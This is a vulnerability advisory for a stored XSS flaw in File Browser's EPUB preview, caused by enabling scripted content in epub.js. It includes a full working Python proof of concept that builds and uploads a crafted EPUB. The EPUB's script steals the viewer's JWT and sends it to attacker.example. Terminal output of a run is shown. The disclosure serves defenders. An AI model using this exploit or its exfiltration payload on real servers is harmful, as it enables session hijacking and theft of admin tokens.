CVE-2026-34529

### Summary The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file. ### Details `frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component: ```js // frontend/src/views/files/Preview.vue (Line 87) :epubOptions="{ allowPopups: true, allowScriptedContent: true, }" ``` epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) — the script can access the parent frame's DOM and storage. The epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content). ### PoC I've crafted the PoC python script that could be ran on test environment using docker compose: ```yaml services: filebrowser: image: filebrowser/filebrowser:v2.62.1 user: 0:0 ports: - "80:80" ``` And running this PoC python script: ```python import argparse import io import sys import zipfile import requests BANNER = """ Stored XSS via EPUB PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobookshelf) """ CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?> <container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container"> <rootfiles> <rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/> </rootfiles> </container>""" CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?> <package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0"> <metadata xmlns:dc="http://purl.org/dc/elements/1.1/"> <dc:identifier id="uid">poc-xss-epub-001</dc:identifier> <dc:title>Security Test Document</dc:title> <dc:language>en</dc:language> <meta property="dcterms:modified">2025-01-01T00:00:00Z</meta> </metadata> <manifest> <item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/> <item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/> </manifest> <spine> <itemref idref="chapter1"/> </spine> </package>""" NAV_XHTML = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops"> <head><title>Navigation</title></head> <body> <nav epub:type="toc"> <ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol> </nav> </body> </html>""" XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>Chapter 1</title></head> <body> <h1>Security Test Document</h1> <p>This document tests EPUB script execution in File Browser.</p> <p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p> <p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p> <script> var out = document.getElementById("xss-proof"); var ipOut = document.getElementById("ip-proof"); var jwt = "not-found"; try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; } out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt; fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){ ipOut.textContent = "Victim public IP: " + ip.trim(); }).catch(function(e){ ipOut.textContent = "IP fetch failed: " + e.message; }); var img = new Image(); img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt); </script> </body> </html>""" def login(base: str, username: str, password: str) -> str: r = requests.post(f"{base}/api/login", json={"username": username, "password": password}, timeout=10) if r.status_code != 200: print(f"[-] Login failed: {r.status_code}") sys.exit(1) return r.text.strip('"') def build_epub() -> bytes: """Build a minimal EPUB 3 file with embedded JavaScript.""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED) zf.writestr("META-INF/container.xml", CONTAINER_XML) zf.writestr("OEBPS/content.opf", CONTENT_OPF) zf.writestr("OEBPS/nav.xhtml", NAV_XHTML) zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER) return buf.getvalue() def main(): print(BANNER) ap = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description="Stored XSS via malicious EPUB PoC", epilog="""examples: %(prog)s -t http://localhost:8080 -u admin -p admin %(prog)s -t http://target.com/filebrowser -u user -p pass root cause: frontend/src/views/files/Preview.vue passes epubOptions: { allowScriptedContent: true } to the vue-reader (epub.js) component. The iframe sandbox includes allow-scripts and allow-same-origin, which lets the script access the parent frame's localStorage and make arbitrary network requests. impact: Session hijacking, privilege escalation, data exfiltration. A low-privilege user with upload access can steal admin tokens.""", ) ap.add_argument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost:8080)") ap.add_argument("-u", "--user", required=True, help="Username to authenticate with") ap.add_argument("-p", "--password", required=True, help="Password to authenticate with") if len(sys.argv) == 1: ap.print_help() sys.exit(1) args = ap.parse_args() base = args.target.rstrip("/") print() print("[*] ATTACK BEGINS...") print("====================") print(f" [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}") print(f"\n [2] Building malicious EPUB") epub_data = build_epub() print(f" EPUB size: {len(epub_data)} bytes") upload_path = "/poc_xss_test.epub" print(f"\n [3] Uploading to {upload_path}") requests.delete(f"{base}/api/resources{upload_path}", headers={"X-Auth": token}, timeout=10) r = requests.post( f"{base}/api/resources{upload_path}?override=true", data=epub_data, headers={ "X-Auth": token, "Content-Type": "application/epub+zip", }, timeout=30 ) if r.status_code in (200, 201, 204): print(f" Upload OK ({r.status_code})") else: print(f" Upload FAILED: {r.status_code} {r.text[:200]}") sys.exit(1) preview_url = f"{base}/files{upload_path}" print(f"\n [4] Done") print(f" Preview URL: {preview_url}") print("====================") print() print() print(f"Open the URL above in a browser. You should see:") print(f" - Red text: \"XSS OK\" + stolen JWT token") print(f" - Orange text: victim's public IP (via ifconfig.me)") print() print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).") print(f"The attack is silent — JWT theft and network exfiltration work.") if __name__ == "__main__": main() ``` And terminal output: ```bash root@server205:~/sec-filebrowser# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t Stored XSS via EPUB PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobookshelf) [*] ATTACK BEGINS... ==================== [1] Authenticating to http://localhost Logged in as: admin [2] Building malicious EPUB EPUB size: 1927 bytes [3] Uploading to /poc_xss_test.epub Upload OK (200) [4] Done Preview URL: http://localhost/files/poc_xss_test.epub ==================== Open the URL above in a browser. You should see: - Red text: "XSS OK" + stolen JWT token - Orange text: victim's public IP (via ifconfig.me) NOTE: alert() is blocked by iframe sandbox (no allow-modals). The attack is silent — JWT theft and network exfiltration work. ``` <br/> ### Impact - JWT token theft — full session hijacking - Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token

File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file in github.com/filebrowser/filebrowser